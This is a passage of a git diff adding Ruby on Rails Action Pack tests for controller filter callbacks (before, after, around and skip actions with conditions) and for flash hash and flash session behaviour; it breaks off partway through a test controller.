+    skip_before_action :ensure_login, if: -> { false }
+    skip_before_action :clean_up_tmp, if: -> { true }
+  end
+
+  class SkipFilterUsingOnlyAndIf < ConditionalFilterController
+    before_action :clean_up_tmp
+    before_action :ensure_login
+
+    skip_before_action :ensure_login, only: :login, if: -> { false }
+    skip_before_action :clean_up_tmp, only: :login, if: -> { true }
+
+    def login
+      render plain: "ok"
+    end
+  end
+
+  class SkipFilterUsingIfAndExcept < ConditionalFilterController
+    before_action :clean_up_tmp
+    before_action :ensure_login
+
+    skip_before_action :ensure_login, if: -> { false }, except: :login
+    skip_before_action :clean_up_tmp, if: -> { true }, except: :login
+
+    def login
+      render plain: "ok"
+    end
+  end
+
+  class ClassController < ConditionalFilterController
+    before_action ConditionalClassFilter
+  end
+
+  class PrependingController < TestController
+    prepend_before_action :wonderful_life
+    # skip_before_action :fire_flash
+
+    private
+      def wonderful_life
+        @ran_filter ||= []
+        @ran_filter << "wonderful_life"
+      end
+  end
+
+  class SkippingAndLimitedController < TestController
+    skip_before_action :ensure_login
+    before_action :ensure_login, only: :index
+
+    def index
+      render plain: "ok"
+    end
+
+    def public
+      render plain: "ok"
+    end
+  end
+
+  class SkippingAndReorderingController < TestController
+    skip_before_action :ensure_login
+    before_action :find_record
+    before_action :ensure_login
+
+    def index
+      render plain: "ok"
+    end
+
+    private
+      def find_record
+        @ran_filter ||= []
+        @ran_filter << "find_record"
+      end
+  end
+
+  class ConditionalSkippingController < TestController
+    skip_before_action :ensure_login, only: [ :login ]
+    skip_after_action  :clean_up,     only: [ :login ]
+
+    before_action :find_user, only: [ :change_password ]
+
+    def login
+      render inline: "ran action"
+    end
+
+    def change_password
+      render inline: "ran action"
+    end
+
+    private
+      def find_user
+        @ran_filter ||= []
+        @ran_filter << "find_user"
+      end
+  end
+
+  class ConditionalParentOfConditionalSkippingController < ConditionalFilterController
+    before_action :conditional_in_parent_before, only: [:show, :another_action]
+    after_action  :conditional_in_parent_after, only: [:show, :another_action]
+
+    private
+
+      def conditional_in_parent_before
+        @ran_filter ||= []
+        @ran_filter << "conditional_in_parent_before"
+      end
+
+      def conditional_in_parent_after
+        @ran_filter ||= []
+        @ran_filter << "conditional_in_parent_after"
+      end
+  end
+
+  class ChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
+    skip_before_action :conditional_in_parent_before, only: :another_action
+    skip_after_action  :conditional_in_parent_after, only: :another_action
+  end
+
+  class AnotherChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
+    skip_before_action :conditional_in_parent_before, only: :show
+  end
+
+  class ProcController < PrependingController
+    before_action(proc { |c| c.instance_variable_set(:"@ran_proc_action", true) })
+  end
+
+  class ImplicitProcController < PrependingController
+    before_action { |c| c.instance_variable_set(:"@ran_proc_action", true) }
+  end
+
+  class AuditFilter
+    def self.before(controller)
+      controller.instance_variable_set(:"@was_audited", true)
+    end
+  end
+
+  class AroundFilter
+    def before(controller)
+      @execution_log = "before"
+      controller.class.execution_log += " before aroundfilter " if controller.respond_to? :execution_log
+      controller.instance_variable_set(:"@before_ran", true)
+    end
+
+    def after(controller)
+      controller.instance_variable_set(:"@execution_log", @execution_log + " and after")
+      controller.instance_variable_set(:"@after_ran", true)
+      controller.class.execution_log << " after aroundfilter " if controller.respond_to? :execution_log
+    end
+
+    def around(controller)
+      before(controller)
+      yield
+      after(controller)
+    end
+  end
+
+  class AppendedAroundFilter
+    def before(controller)
+      controller.class.execution_log << " before appended aroundfilter "
+    end
+
+    def after(controller)
+      controller.class.execution_log << " after appended aroundfilter "
+    end
+
+    def around(controller)
+      before(controller)
+      yield
+      after(controller)
+    end
+  end
+
+  class AuditController < ActionController::Base
+    before_action(AuditFilter)
+
+    def show
+      render plain: "hello"
+    end
+  end
+
+  class AroundFilterController < PrependingController
+    around_action AroundFilter.new
+  end
+
+  class BeforeAfterClassFilterController < PrependingController
+    begin
+      filter = AroundFilter.new
+      before_action filter
+      after_action filter
+    end
+  end
+
+  class MixedFilterController < PrependingController
+    cattr_accessor :execution_log
+
+    def initialize
+      @@execution_log = ""
+      super()
+    end
+
+    before_action { |c| c.class.execution_log << " before procfilter "  }
+    prepend_around_action AroundFilter.new
+
+    after_action  { |c| c.class.execution_log << " after procfilter " }
+    append_around_action AppendedAroundFilter.new
+  end
+
+  class MixedSpecializationController < ActionController::Base
+    class OutOfOrder < StandardError; end
+
+    before_action :first
+    before_action :second, only: :foo
+
+    def foo
+      render plain: "foo"
+    end
+
+    def bar
+      render plain: "bar"
+    end
+
+    private
+      def first
+        @first = true
+      end
+
+      def second
+        raise OutOfOrder unless @first
+      end
+  end
+
+  class DynamicDispatchController < ActionController::Base
+    before_action :choose
+
+    %w(foo bar baz).each do |action|
+      define_method(action) { render plain: action }
+    end
+
+    private
+      def choose
+        self.action_name = params[:choose]
+      end
+  end
+
+  class PrependingBeforeAndAfterController < ActionController::Base
+    prepend_before_action :before_all
+    prepend_after_action :after_all
+    before_action :between_before_all_and_after_all
+
+    def before_all
+      @ran_filter ||= []
+      @ran_filter << "before_all"
+    end
+
+    def after_all
+      @ran_filter ||= []
+      @ran_filter << "after_all"
+    end
+
+    def between_before_all_and_after_all
+      @ran_filter ||= []
+      @ran_filter << "between_before_all_and_after_all"
+    end
+    def show
+      render plain: "hello"
+    end
+  end
+
+  class ErrorToRescue < Exception; end
+
+  class RescuingAroundFilterWithBlock
+    def around(controller)
+      yield
+    rescue ErrorToRescue => ex
+      controller.__send__ :render, plain: "I rescued this: #{ex.inspect}"
+    end
+  end
+
+  class RescuedController < ActionController::Base
+    around_action RescuingAroundFilterWithBlock.new
+
+    def show
+      raise ErrorToRescue.new("Something made the bad noise.")
+    end
+  end
+
+  class NonYieldingAroundFilterController < ActionController::Base
+    before_action :filter_one
+    around_action :non_yielding_action
+    before_action :action_two
+    after_action :action_three
+
+    def index
+      render inline: "index"
+    end
+
+    private
+
+      def filter_one
+        @filters ||= []
+        @filters << "filter_one"
+      end
+
+      def action_two
+        @filters << "action_two"
+      end
+
+      def non_yielding_action
+        @filters << "it didn't yield"
+      end
+
+      def action_three
+        @filters << "action_three"
+      end
+  end
+
+  class ImplicitActionsController < ActionController::Base
+    before_action :find_only, only: :edit
+    before_action :find_except, except: :edit
+
+    private
+
+      def find_only
+        @only = "Only"
+      end
+
+      def find_except
+        @except = "Except"
+      end
+  end
+
+  def test_non_yielding_around_actions_do_not_raise
+    controller = NonYieldingAroundFilterController.new
+    assert_nothing_raised do
+      test_process(controller, "index")
+    end
+  end
+
+  def test_after_actions_are_not_run_if_around_action_does_not_yield
+    controller = NonYieldingAroundFilterController.new
+    test_process(controller, "index")
+    assert_equal ["filter_one", "it didn't yield"], controller.instance_variable_get(:@filters)
+  end
+
+  def test_added_action_to_inheritance_graph
+    assert_equal [ :ensure_login ], TestController.before_actions
+  end
+
+  def test_base_class_in_isolation
+    assert_equal [ ], ActionController::Base.before_actions
+  end
+
+  def test_prepending_action
+    assert_equal [ :wonderful_life, :ensure_login ], PrependingController.before_actions
+  end
+
+  def test_running_actions
+    test_process(PrependingController)
+    assert_equal %w( wonderful_life ensure_login ),
+      @controller.instance_variable_get(:@ran_filter)
+  end
+
+  def test_running_actions_with_proc
+    test_process(ProcController)
+    assert @controller.instance_variable_get(:@ran_proc_action)
+  end
+
+  def test_running_actions_with_implicit_proc
+    test_process(ImplicitProcController)
+    assert @controller.instance_variable_get(:@ran_proc_action)
+  end
+
+  def test_running_actions_with_class
+    test_process(AuditController)
+    assert @controller.instance_variable_get(:@was_audited)
+  end
+
+  def test_running_anomalous_yet_valid_condition_actions
+    test_process(AnomolousYetValidConditionController)
+    assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter)
+    assert @controller.instance_variable_get(:@ran_class_action)
+    assert @controller.instance_variable_get(:@ran_proc_action1)
+    assert @controller.instance_variable_get(:@ran_proc_action2)
+
+    test_process(AnomolousYetValidConditionController, "show_without_action")
+    assert_not @controller.instance_variable_defined?(:@ran_filter)
+    assert_not @controller.instance_variable_defined?(:@ran_class_action)
+    assert_not @controller.instance_variable_defined?(:@ran_proc_action1)
+    assert_not @controller.instance_variable_defined?(:@ran_proc_action2)
+  end
+
+  def test_running_conditional_options
+    test_process(ConditionalOptionsFilter)
+    assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter)
+  end
+
+  def test_running_conditional_skip_options
+    test_process(ConditionalOptionsSkipFilter)
+    assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter)
+  end
+
+  def test_if_is_ignored_when_used_with_only
+    test_process(SkipFilterUsingOnlyAndIf, "login")
+    assert_not @controller.instance_variable_defined?(:@ran_filter)
+  end
+
+  def test_except_is_ignored_when_used_with_if
+    test_process(SkipFilterUsingIfAndExcept, "login")
+    assert_equal %w(ensure_login), @controller.instance_variable_get(:@ran_filter)
+  end
+
+  def test_skipping_class_actions
+    test_process(ClassController)
+    assert_equal true, @controller.instance_variable_get(:@ran_class_action)
+
+    skipping_class_controller = Class.new(ClassController) do
+      skip_before_action ConditionalClassFilter
+    end
+
+    test_process(skipping_class_controller)
+    assert_not @controller.instance_variable_defined?(:@ran_class_action)
+  end
+
+  def test_running_collection_condition_actions
+    test_process(ConditionalCollectionFilterController)
+    assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter)
+    test_process(ConditionalCollectionFilterController, "show_without_action")
+    assert_not @controller.instance_variable_defined?(:@ran_filter)
+    test_process(ConditionalCollectionFilterController, "another_action")
+    assert_not @controller.instance_variable_defined?(:@ran_filter)
+  end
+
+  def test_running_only_condition_actions
+    test_process(OnlyConditionSymController)
+    assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter)
+    test_process(OnlyConditionSymController, "show_without_action")
+    assert_not @controller.instance_variable_defined?(:@ran_filter)
+
+    test_process(OnlyConditionProcController)
+    assert @controller.instance_variable_get(:@ran_proc_action)
+    test_process(OnlyConditionProcController, "show_without_action")
+    assert_not @controller.instance_variable_defined?(:@ran_proc_action)
+
+    test_process(OnlyConditionClassController)
+    assert @controller.instance_variable_get(:@ran_class_action)
+    test_process(OnlyConditionClassController, "show_without_action")
+    assert_not @controller.instance_variable_defined?(:@ran_class_action)
+  end
+
+  def test_running_except_condition_actions
+    test_process(ExceptConditionSymController)
+    assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter)
+    test_process(ExceptConditionSymController, "show_without_action")
+    assert_not @controller.instance_variable_defined?(:@ran_filter)
+
+    test_process(ExceptConditionProcController)
+    assert @controller.instance_variable_get(:@ran_proc_action)
+    test_process(ExceptConditionProcController, "show_without_action")
+    assert_not @controller.instance_variable_defined?(:@ran_proc_action)
+
+    test_process(ExceptConditionClassController)
+    assert @controller.instance_variable_get(:@ran_class_action)
+    test_process(ExceptConditionClassController, "show_without_action")
+    assert_not @controller.instance_variable_defined?(:@ran_class_action)
+  end
+
+  def test_running_only_condition_and_conditional_options
+    test_process(OnlyConditionalOptionsFilter, "show")
+    assert_not @controller.instance_variable_defined?(:@ran_conditional_index_proc)
+  end
+
+  def test_running_before_and_after_condition_actions
+    test_process(BeforeAndAfterConditionController)
+    assert_equal %w( ensure_login clean_up_tmp), @controller.instance_variable_get(:@ran_filter)
+    test_process(BeforeAndAfterConditionController, "show_without_action")
+    assert_not @controller.instance_variable_defined?(:@ran_filter)
+  end
+
+  def test_around_action
+    test_process(AroundFilterController)
+    assert @controller.instance_variable_get(:@before_ran)
+    assert @controller.instance_variable_get(:@after_ran)
+  end
+
+  def test_before_after_class_action
+    test_process(BeforeAfterClassFilterController)
+    assert @controller.instance_variable_get(:@before_ran)
+    assert @controller.instance_variable_get(:@after_ran)
+  end
+
+  def test_having_properties_in_around_action
+    test_process(AroundFilterController)
+    assert_equal "before and after", @controller.instance_variable_get(:@execution_log)
+  end
+
+  def test_prepending_and_appending_around_action
+    test_process(MixedFilterController)
+    assert_equal " before aroundfilter  before procfilter  before appended aroundfilter " \
+                 " after appended aroundfilter  after procfilter  after aroundfilter ",
+                 MixedFilterController.execution_log
+  end
+
+  def test_rendering_breaks_actioning_chain
+    response = test_process(RenderingController)
+    assert_equal "something else", response.body
+    assert_not @controller.instance_variable_defined?(:@ran_action)
+  end
+
+  def test_before_action_rendering_breaks_actioning_chain_for_after_action
+    test_process(RenderingController)
+    assert_equal %w( before_action_rendering ), @controller.instance_variable_get(:@ran_filter)
+    assert_not @controller.instance_variable_defined?(:@ran_action)
+  end
+
+  def test_before_action_redirects_breaks_actioning_chain_for_after_action
+    test_process(BeforeActionRedirectionController)
+    assert_response :redirect
+    assert_equal "http://test.host/filter_test/before_action_redirection/target_of_redirection", redirect_to_url
+    assert_equal %w( before_action_redirects ), @controller.instance_variable_get(:@ran_filter)
+  end
+
+  def test_before_action_rendering_breaks_actioning_chain_for_preprend_after_action
+    test_process(RenderingForPrependAfterActionController)
+    assert_equal %w( before_action_rendering ), @controller.instance_variable_get(:@ran_filter)
+    assert_not @controller.instance_variable_defined?(:@ran_action)
+  end
+
+  def test_before_action_redirects_breaks_actioning_chain_for_preprend_after_action
+    test_process(BeforeActionRedirectionForPrependAfterActionController)
+    assert_response :redirect
+    assert_equal "http://test.host/filter_test/before_action_redirection_for_prepend_after_action/target_of_redirection", redirect_to_url
+    assert_equal %w( before_action_redirects ), @controller.instance_variable_get(:@ran_filter)
+  end
+
+  def test_actions_with_mixed_specialization_run_in_order
+    assert_nothing_raised do
+      response = test_process(MixedSpecializationController, "bar")
+      assert_equal "bar", response.body
+    end
+
+    assert_nothing_raised do
+      response = test_process(MixedSpecializationController, "foo")
+      assert_equal "foo", response.body
+    end
+  end
+
+  def test_dynamic_dispatch
+    %w(foo bar baz).each do |action|
+      @request.query_parameters[:choose] = action
+      response = DynamicDispatchController.action(action).call(@request.env).last
+      assert_equal action, response.body
+    end
+  end
+
+  def test_running_prepended_before_and_after_action
+    test_process(PrependingBeforeAndAfterController)
+    assert_equal %w( before_all between_before_all_and_after_all after_all ), @controller.instance_variable_get(:@ran_filter)
+  end
+
+  def test_skipping_and_limiting_controller
+    test_process(SkippingAndLimitedController, "index")
+    assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter)
+    test_process(SkippingAndLimitedController, "public")
+    assert_not @controller.instance_variable_defined?(:@ran_filter)
+  end
+
+  def test_skipping_and_reordering_controller
+    test_process(SkippingAndReorderingController, "index")
+    assert_equal %w( find_record ensure_login ), @controller.instance_variable_get(:@ran_filter)
+  end
+
+  def test_conditional_skipping_of_actions
+    test_process(ConditionalSkippingController, "login")
+    assert_not @controller.instance_variable_defined?(:@ran_filter)
+    test_process(ConditionalSkippingController, "change_password")
+    assert_equal %w( ensure_login find_user ), @controller.instance_variable_get(:@ran_filter)
+
+    test_process(ConditionalSkippingController, "login")
+    assert !@controller.instance_variable_defined?("@ran_after_action")
+    test_process(ConditionalSkippingController, "change_password")
+    assert_equal %w( clean_up ), @controller.instance_variable_get("@ran_after_action")
+  end
+
+  def test_conditional_skipping_of_actions_when_parent_action_is_also_conditional
+    test_process(ChildOfConditionalParentController)
+    assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), @controller.instance_variable_get(:@ran_filter)
+    test_process(ChildOfConditionalParentController, "another_action")
+    assert_not @controller.instance_variable_defined?(:@ran_filter)
+  end
+
+  def test_condition_skipping_of_actions_when_siblings_also_have_conditions
+    test_process(ChildOfConditionalParentController)
+    assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), @controller.instance_variable_get(:@ran_filter)
+    test_process(AnotherChildOfConditionalParentController)
+    assert_equal %w( conditional_in_parent_after ), @controller.instance_variable_get(:@ran_filter)
+    test_process(ChildOfConditionalParentController)
+    assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), @controller.instance_variable_get(:@ran_filter)
+  end
+
+  def test_changing_the_requirements
+    test_process(ChangingTheRequirementsController, "go_wild")
+    assert_not @controller.instance_variable_defined?(:@ran_filter)
+  end
+
+  def test_a_rescuing_around_action
+    response = nil
+    assert_nothing_raised do
+      response = test_process(RescuedController)
+    end
+
+    assert response.successful?
+    assert_equal("I rescued this: #<FilterTest::ErrorToRescue: Something made the bad noise.>", response.body)
+  end
+
+  def test_actions_obey_only_and_except_for_implicit_actions
+    test_process(ImplicitActionsController, "show")
+    assert_equal "Except", @controller.instance_variable_get(:@except)
+    assert_not @controller.instance_variable_defined?(:@only)
+    assert_equal "show", response.body
+
+    test_process(ImplicitActionsController, "edit")
+    assert_equal "Only", @controller.instance_variable_get(:@only)
+    assert_not @controller.instance_variable_defined?(:@except)
+    assert_equal "edit", response.body
+  end
+
+  private
+    def test_process(controller, action = "show")
+      @controller = controller.is_a?(Class) ? controller.new : controller
+
+      process(action)
+    end
+end
+
+class PostsController < ActionController::Base
+  module AroundExceptions
+    class Error < StandardError ; end
+    class Before < Error ; end
+    class After < Error ; end
+  end
+  include AroundExceptions
+
+  class DefaultFilter
+    include AroundExceptions
+  end
+
+  module_eval %w(raises_before raises_after raises_both no_raise no_action).map { |action| "def #{action}; default_action end" }.join("\n")
+
+  private
+    def default_action
+      render inline: "#{action_name} called"
+    end
+end
+
+class ControllerWithSymbolAsFilter < PostsController
+  around_action :raise_before, only: :raises_before
+  around_action :raise_after, only: :raises_after
+  around_action :without_exception, only: :no_raise
+
+  private
+    def raise_before
+      raise Before
+      yield
+    end
+
+    def raise_after
+      yield
+      raise After
+    end
+
+    def without_exception
+      # Do stuff...
+      wtf = 1 + 1
+
+      yield
+
+      # Do stuff...
+      wtf += 1
+    end
+end
+
+class ControllerWithFilterClass < PostsController
+  class YieldingFilter < DefaultFilter
+    def self.around(controller)
+      yield
+      raise After
+    end
+  end
+
+  around_action YieldingFilter, only: :raises_after
+end
+
+class ControllerWithFilterInstance < PostsController
+  class YieldingFilter < DefaultFilter
+    def around(controller)
+      yield
+      raise After
+    end
+  end
+
+  around_action YieldingFilter.new, only: :raises_after
+end
+
+class ControllerWithProcFilter < PostsController
+  around_action(only: :no_raise) do |c, b|
+    c.instance_variable_set(:"@before", true)
+    b.call
+    c.instance_variable_set(:"@after", true)
+  end
+end
+
+class ControllerWithNestedFilters < ControllerWithSymbolAsFilter
+  around_action :raise_before, :raise_after, :without_exception, only: :raises_both
+end
+
+class ControllerWithAllTypesOfFilters < PostsController
+  before_action :before
+  around_action :around
+  after_action :after
+  around_action :around_again
+
+  private
+    def before
+      @ran_filter ||= []
+      @ran_filter << "before"
+    end
+
+    def around
+      @ran_filter << "around (before yield)"
+      yield
+      @ran_filter << "around (after yield)"
+    end
+
+    def after
+      @ran_filter << "after"
+    end
+
+    def around_again
+      @ran_filter << "around_again (before yield)"
+      yield
+      @ran_filter << "around_again (after yield)"
+    end
+end
+
+class ControllerWithTwoLessFilters < ControllerWithAllTypesOfFilters
+  skip_around_action :around_again
+  skip_after_action :after
+end
+
+class YieldingAroundFiltersTest < ActionController::TestCase
+  include PostsController::AroundExceptions
+
+  def test_base
+    controller = PostsController
+    assert_nothing_raised { test_process(controller, "no_raise") }
+    assert_nothing_raised { test_process(controller, "raises_before") }
+    assert_nothing_raised { test_process(controller, "raises_after") }
+    assert_nothing_raised { test_process(controller, "no_action") }
+  end
+
+  def test_with_symbol
+    controller = ControllerWithSymbolAsFilter
+    assert_nothing_raised { test_process(controller, "no_raise") }
+    assert_raise(Before) { test_process(controller, "raises_before") }
+    assert_raise(After) { test_process(controller, "raises_after") }
+    assert_nothing_raised { test_process(controller, "no_raise") }
+  end
+
+  def test_with_class
+    controller = ControllerWithFilterClass
+    assert_nothing_raised { test_process(controller, "no_raise") }
+    assert_raise(After) { test_process(controller, "raises_after") }
+  end
+
+  def test_with_instance
+    controller = ControllerWithFilterInstance
+    assert_nothing_raised { test_process(controller, "no_raise") }
+    assert_raise(After) { test_process(controller, "raises_after") }
+  end
+
+  def test_with_proc
+    test_process(ControllerWithProcFilter, "no_raise")
+    assert @controller.instance_variable_get(:@before)
+    assert @controller.instance_variable_get(:@after)
+  end
+
+  def test_nested_actions
+    controller = ControllerWithNestedFilters
+    assert_nothing_raised do
+      begin
+        test_process(controller, "raises_both")
+      rescue Before, After
+      end
+    end
+    assert_raise Before do
+      begin
+        test_process(controller, "raises_both")
+      rescue After
+      end
+    end
+  end
+
+  def test_action_order_with_all_action_types
+    test_process(ControllerWithAllTypesOfFilters, "no_raise")
+    assert_equal "before around (before yield) around_again (before yield) around_again (after yield) after around (after yield)", @controller.instance_variable_get(:@ran_filter).join(" ")
+  end
+
+  def test_action_order_with_skip_action_method
+    test_process(ControllerWithTwoLessFilters, "no_raise")
+    assert_equal "before around (before yield) around (after yield)", @controller.instance_variable_get(:@ran_filter).join(" ")
+  end
+
+  def test_first_action_in_multiple_before_action_chain_halts
+    controller = ::FilterTest::TestMultipleFiltersController.new
+    response = test_process(controller, "fail_1")
+    assert_equal "", response.body
+    assert_equal 1, controller.instance_variable_get(:@try)
+  end
+
+  def test_second_action_in_multiple_before_action_chain_halts
+    controller = ::FilterTest::TestMultipleFiltersController.new
+    response = test_process(controller, "fail_2")
+    assert_equal "", response.body
+    assert_equal 2, controller.instance_variable_get(:@try)
+  end
+
+  def test_last_action_in_multiple_before_action_chain_halts
+    controller = ::FilterTest::TestMultipleFiltersController.new
+    response = test_process(controller, "fail_3")
+    assert_equal "", response.body
+    assert_equal 3, controller.instance_variable_get(:@try)
+  end
+
+  private
+    def test_process(controller, action = "show")
+      @controller = controller.is_a?(Class) ? controller.new : controller
+      process(action)
+    end
+end
diff --git a/actionpack/test/controller/flash_hash_test.rb b/actionpack/test/controller/flash_hash_test.rb
new file mode 100644
index 0000000000..f31a4d9329
--- /dev/null
+++ b/actionpack/test/controller/flash_hash_test.rb
@@ -0,0 +1,216 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  class FlashHashTest < ActiveSupport::TestCase
+    def setup
+      @hash = Flash::FlashHash.new
+    end
+
+    def test_set_get
+      @hash[:foo] = "zomg"
+      assert_equal "zomg", @hash[:foo]
+    end
+
+    def test_keys
+      assert_equal [], @hash.keys
+
+      @hash["foo"] = "zomg"
+      assert_equal ["foo"], @hash.keys
+
+      @hash["bar"] = "zomg"
+      assert_equal ["foo", "bar"].sort, @hash.keys.sort
+    end
+
+    def test_update
+      @hash["foo"] = "bar"
+      @hash.update("foo" => "baz", "hello" => "world")
+
+      assert_equal "baz", @hash["foo"]
+      assert_equal "world", @hash["hello"]
+    end
+
+    def test_key
+      @hash["foo"] = "bar"
+
+      assert @hash.key?("foo")
+      assert @hash.key?(:foo)
+      assert_not @hash.key?("bar")
+      assert_not @hash.key?(:bar)
+    end
+
+    def test_delete
+      @hash["foo"] = "bar"
+      @hash.delete "foo"
+
+      assert !@hash.key?("foo")
+      assert_nil @hash["foo"]
+    end
+
+    def test_to_hash
+      @hash["foo"] = "bar"
+      assert_equal({ "foo" => "bar" }, @hash.to_hash)
+
+      @hash.to_hash["zomg"] = "aaron"
+      assert !@hash.key?("zomg")
+      assert_equal({ "foo" => "bar" }, @hash.to_hash)
+    end
+
+    def test_to_session_value
+      @hash["foo"] = "bar"
+      assert_equal({ "discard" => [], "flashes" => { "foo" => "bar" } }, @hash.to_session_value)
+
+      @hash.now["qux"] = 1
+      assert_equal({ "flashes" => { "foo" => "bar" }, "discard" => [] }, @hash.to_session_value)
+
+      @hash.discard("foo")
+      assert_nil(@hash.to_session_value)
+
+      @hash.sweep
+      assert_nil(@hash.to_session_value)
+    end
+
+    def test_from_session_value
+      # {"session_id"=>"f8e1b8152ba7609c28bbb17ec9263ba7", "flash"=>#<ActionDispatch::Flash::FlashHash:0x00000000000000 @used=#<Set: {"farewell"}>, @closed=false, @flashes={"greeting"=>"Hello", "farewell"=>"Goodbye"}, @now=nil>}
+      rails_3_2_cookie = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJWY4ZTFiODE1MmJhNzYwOWMyOGJiYjE3ZWM5MjYzYmE3BjsAVEkiCmZsYXNoBjsARm86JUFjdGlvbkRpc3BhdGNoOjpGbGFzaDo6Rmxhc2hIYXNoCToKQHVzZWRvOghTZXQGOgpAaGFzaHsGSSINZmFyZXdlbGwGOwBUVDoMQGNsb3NlZEY6DUBmbGFzaGVzewdJIg1ncmVldGluZwY7AFRJIgpIZWxsbwY7AFRJIg1mYXJld2VsbAY7AFRJIgxHb29kYnllBjsAVDoJQG5vdzA="
+      session = Marshal.load(Base64.decode64(rails_3_2_cookie))
+      hash = Flash::FlashHash.from_session_value(session["flash"])
+      assert_equal({ "greeting" => "Hello" }, hash.to_hash)
+      assert_nil(hash.to_session_value)
+    end
+
+    def test_from_session_value_on_json_serializer
+      decrypted_data = "{ \"session_id\":\"d98bdf6d129618fc2548c354c161cfb5\", \"flash\":{\"discard\":[\"farewell\"], \"flashes\":{\"greeting\":\"Hello\",\"farewell\":\"Goodbye\"}} }"
+      session = ActionDispatch::Cookies::JsonSerializer.load(decrypted_data)
+      hash = Flash::FlashHash.from_session_value(session["flash"])
+
+      assert_equal({ "greeting" => "Hello" }, hash.to_hash)
+      assert_nil(hash.to_session_value)
+      assert_equal "Hello", hash[:greeting]
+      assert_equal "Hello", hash["greeting"]
+    end
+
+    def test_empty?
+      assert @hash.empty?
+      @hash["zomg"] = "bears"
+      assert !@hash.empty?
+      @hash.clear
+      assert @hash.empty?
+    end
+
+    def test_each
+      @hash["hello"] = "world"
+      @hash["foo"] = "bar"
+
+      things = []
+      @hash.each do |k, v|
+        things << [k, v]
+      end
+
+      assert_equal([%w{ hello world }, %w{ foo bar }].sort, things.sort)
+    end
+
+    def test_replace
+      @hash["hello"] = "world"
+      @hash.replace("omg" => "aaron")
+      assert_equal({ "omg" => "aaron" }, @hash.to_hash)
+    end
+
+    def test_discard_no_args
+      @hash["hello"] = "world"
+      @hash.discard
+
+      @hash.sweep
+      assert_equal({}, @hash.to_hash)
+    end
+
+    def test_discard_one_arg
+      @hash["hello"] = "world"
+      @hash["omg"]   = "world"
+      @hash.discard "hello"
+
+      @hash.sweep
+      assert_equal({ "omg" => "world" }, @hash.to_hash)
+    end
+
+    def test_keep_sweep
+      @hash["hello"] = "world"
+
+      @hash.sweep
+      assert_equal({ "hello" => "world" }, @hash.to_hash)
+    end
+
+    def test_update_sweep
+      @hash["hello"] = "world"
+      @hash.update("hi" => "mom")
+
+      @hash.sweep
+      assert_equal({ "hello" => "world", "hi" => "mom" }, @hash.to_hash)
+    end
+
+    def test_update_delete_sweep
+      @hash["hello"] = "world"
+      @hash.delete "hello"
+      @hash.update("hello" => "mom")
+
+      @hash.sweep
+      assert_equal({ "hello" => "mom" }, @hash.to_hash)
+    end
+
+    def test_delete_sweep
+      @hash["hello"] = "world"
+      @hash["hi"]    = "mom"
+      @hash.delete "hi"
+
+      @hash.sweep
+      assert_equal({ "hello" => "world" }, @hash.to_hash)
+    end
+
+    def test_clear_sweep
+      @hash["hello"] = "world"
+      @hash.clear
+
+      @hash.sweep
+      assert_equal({}, @hash.to_hash)
+    end
+
+    def test_replace_sweep
+      @hash["hello"] = "world"
+      @hash.replace("hi" => "mom")
+
+      @hash.sweep
+      assert_equal({ "hi" => "mom" }, @hash.to_hash)
+    end
+
+    def test_discard_then_add
+      @hash["hello"] = "world"
+      @hash["omg"]   = "world"
+      @hash.discard "hello"
+      @hash["hello"] = "world"
+
+      @hash.sweep
+      assert_equal({ "omg" => "world", "hello" => "world" }, @hash.to_hash)
+    end
+
+    def test_keep_all_sweep
+      @hash["hello"] = "world"
+      @hash["omg"]   = "world"
+      @hash.discard "hello"
+      @hash.keep
+
+      @hash.sweep
+      assert_equal({ "omg" => "world", "hello" => "world" }, @hash.to_hash)
+    end
+
+    def test_double_sweep
+      @hash["hello"] = "world"
+      @hash.sweep
+
+      assert_equal({ "hello" => "world" }, @hash.to_hash)
+
+      @hash.sweep
+      assert_equal({}, @hash.to_hash)
+    end
+  end
+end
diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb
new file mode 100644
index 0000000000..d92ae0b817
--- /dev/null
+++ b/actionpack/test/controller/flash_test.rb
@@ -0,0 +1,371 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/key_generator"
+
+class FlashTest < ActionController::TestCase
+  class TestController < ActionController::Base
+    def set_flash
+      flash["that"] = "hello"
+      render inline: "hello"
+    end
+
+    def set_flash_now
+      flash.now["that"] = "hello"
+      flash.now["foo"] ||= "bar"
+      flash.now["foo"] ||= "err"
+      @flashy = flash.now["that"]
+      @flash_copy = {}.update flash
+      render inline: "hello"
+    end
+
+    def attempt_to_use_flash_now
+      @flash_copy = {}.update flash
+      @flashy = flash["that"]
+      render inline: "hello"
+    end
+
+    def use_flash
+      @flash_copy = {}.update flash
+      @flashy = flash["that"]
+      render inline: "hello"
+    end
+
+    def use_flash_and_keep_it
+      @flash_copy = {}.update flash
+      @flashy = flash["that"]
+      flash.keep
+      render inline: "hello"
+    end
+
+    def use_flash_and_update_it
+      flash.update("this" => "hello again")
+      @flash_copy = {}.update flash
+      render inline: "hello"
+    end
+
+    def use_flash_after_reset_session
+      flash["that"] = "hello"
+      @flashy_that = flash["that"]
+      reset_session
+      @flashy_that_reset = flash["that"]
+      flash["this"] = "good-bye"
+      @flashy_this = flash["this"]
+      render inline: "hello"
+    end
+
+    # methods for test_sweep_after_halted_action_chain
+    before_action :halt_and_redir, only: "filter_halting_action"
+
+    def std_action
+      @flash_copy = {}.update(flash)
+      head :ok
+    end
+
+    def filter_halting_action
+      @flash_copy = {}.update(flash)
+    end
+
+    def halt_and_redir
+      flash["foo"] = "bar"
+      redirect_to action: "std_action"
+      @flash_copy = {}.update(flash)
+    end
+
+    def redirect_with_alert
+      redirect_to "/nowhere", alert: "Beware the nowheres!"
+    end
+
+    def redirect_with_notice
